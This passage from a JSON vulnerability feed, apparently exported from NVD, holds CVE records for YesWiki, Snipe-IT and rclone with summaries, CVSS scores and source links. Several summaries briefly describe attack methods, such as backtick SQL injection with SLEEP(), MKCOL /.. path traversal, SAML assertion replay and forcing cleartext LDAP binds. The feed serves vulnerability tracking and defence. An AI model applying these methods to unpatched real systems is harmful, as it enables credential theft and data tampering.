2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116208","cveId":"CVE-2026-116208","aliases":[],"kind":"vulnerability","title":"YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other...","summary":"YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other actors' mirrored entries. Attackers can serve a poisoned outbox with cross-actor Delete, Update, or Create activities during admin-initiated sync to delete, overwrite, forge, or mass-delete entries.","detail":"YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other actors' mirrored entries. Attackers can serve a poisoned outbox with cross-actor Delete, Update, or Create activities during admin-initiated sync to delete, overwrite, forge, or mass-delete entries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:02.010Z","updatedAt":"2026-10-25T14:17:02.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116208","asOf":"2026-10-25T14:17:02.143Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116208","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116208","type":"primary","publishedAt":"2026-10-25T14:17:02.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116207","cveId":"CVE-2026-116207","aliases":[],"kind":"vulnerability","title":"YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest().","summary":"YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest(). Field names from the query and searchfields parameters of the public Bazar entries search API are placed in a backtick-quoted alias escaped only with mysqli_real_escape_string. Attackers can supply a backtick to inject subqueries, reading data such as user password hashes or exhausting database threads with SLEEP().","detail":"YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest(). Field names from the query and searchfields parameters of the public Bazar entries search API are placed in a backtick-quoted alias escaped only with mysqli_real_escape_string. Attackers can supply a backtick to inject subqueries, reading data such as user password hashes or exhausting database threads with SLEEP().\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:01.847Z","updatedAt":"2026-10-26T17:17:24.047Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116207","asOf":"2026-10-26T17:17:24.047Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116207","type":"primary","publishedAt":"2026-10-25T14:17:01.847Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116204","cveId":"CVE-2026-116204","aliases":[],"kind":"vulnerability","title":"YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or...","summary":"YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or restore pages through an administrator's session. Attackers can plant an auto-submitting raw HTML form on a wiki page, so an administrator who views it posts clean, suppr[], or rev[] parameters that delete PagePrincipale, configuration pages, or overwrite current content.","detail":"YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or restore pages through an administrator's session. Attackers can plant an auto-submitting raw HTML form on a wiki page, so an administrator who views it posts clean, suppr[], or rev[] parameters that delete PagePrincipale, configuration pages, or overwrite current content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:01.350Z","updatedAt":"2026-10-25T14:17:01.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116204","asOf":"2026-10-25T14:17:01.467Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116204","type":"primary","publishedAt":"2026-10-25T14:17:01.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116201","cveId":"CVE-2026-116201","aliases":[],"kind":"vulnerability","title":"Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs...","summary":"Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs handler. Attackers can send concurrent POST requests to /saml/acs with one captured assertion to obtain multiple authenticated victim sessions that evade IdP-driven revocation.","detail":"Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs handler. Attackers can send concurrent POST requests to /saml/acs with one captured assertion to obtain multiple authenticated victim sessions that evade IdP-driven revocation.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:00.877Z","updatedAt":"2026-10-26T14:08:16.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116201","asOf":"2026-10-26T14:08:16.917Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116201","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116201","type":"primary","publishedAt":"2026-10-25T14:17:00.877Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116200","cveId":"CVE-2026-116200","aliases":[],"kind":"vulnerability","title":"Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds.","summary":"Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds. Attackers can answer the StartTLS request with a protocol error to capture service-account credentials and end-user login passwords.","detail":"Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds. Attackers can answer the StartTLS request with a protocol error to capture service-account credentials and end-user login passwords.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:00.740Z","updatedAt":"2026-10-26T14:08:16.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116200","asOf":"2026-10-26T14:08:16.917Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116200","type":"primary","publishedAt":"2026-10-25T14:17:00.740Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116195","cveId":"CVE-2026-116195","aliases":[],"kind":"vulnerability","title":"Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment...","summary":"Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment check, so a name can resolve outside the destination root. Attackers can plant a directory named ...rclonelink in a source tree synced with --links and --metadata to change ownership, timestamps, and xattrs of the destination's parent directory.","detail":"Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment check, so a name can resolve outside the destination root. Attackers can plant a directory named ...rclonelink in a source tree synced with --links and --metadata to change ownership, timestamps, and xattrs of the destination's parent directory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:59.990Z","updatedAt":"2026-10-26T17:17:23.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116195","asOf":"2026-10-26T17:17:23.597Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116195","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116195","type":"primary","publishedAt":"2026-10-25T14:16:59.990Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116194","cveId":"CVE-2026-116194","aliases":[],"kind":"vulnerability","title":"Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts...","summary":"Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts the hostname parameter. Malicious web pages can send a stateless request to port 53682 during authorization, planting attacker tokens and API hosts so later transfers reach the attacker.","detail":"Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts the hostname parameter. Malicious web pages can send a stateless request to port 53682 during authorization, planting attacker tokens and API hosts so later transfers reach the attacker.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:59.847Z","updatedAt":"2026-10-26T14:08:16.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116194","asOf":"2026-10-26T14:08:16.917Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116194","type":"primary","publishedAt":"2026-10-25T14:16:59.847Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116192","cveId":"CVE-2026-116192","aliases":[],"kind":"vulnerability","title":"rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by...","summary":"rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by supplying a double-slash root on an existing named remote via --rc-serve. Attackers can make HEAD/GET requests to attacker-chosen hosts to read responses, capture configured custom headers, or obtain valid NetStorage request signatures.","detail":"rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by supplying a double-slash root on an existing named remote via --rc-serve. Attackers can make HEAD/GET requests to attacker-chosen hosts to read responses, capture configured custom headers, or obtain valid NetStorage request signatures.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:59.550Z","updatedAt":"2026-10-26T14:08:16.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116192","asOf":"2026-10-26T14:08:16.917Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116192","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116192","type":"primary","publishedAt":"2026-10-25T14:16:59.550Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116191","cveId":"CVE-2026-116191","aliases":[],"kind":"vulnerability","title":"Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..'...","summary":"Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..' path component. Attackers can send MKCOL /.. to plant a VFS node, then PUT, MOVE, COPY, or MKCOL to create, overwrite, or delete files belonging to other tenants.","detail":"Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..' path component. Attackers can send MKCOL /.. to plant a VFS node, then PUT, MOVE, COPY, or MKCOL to create, overwrite, or delete files belonging to other tenants.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:59.400Z","updatedAt":"2026-10-26T17:17:23.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116191","asOf":"2026-10-26T17:17:23.460Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 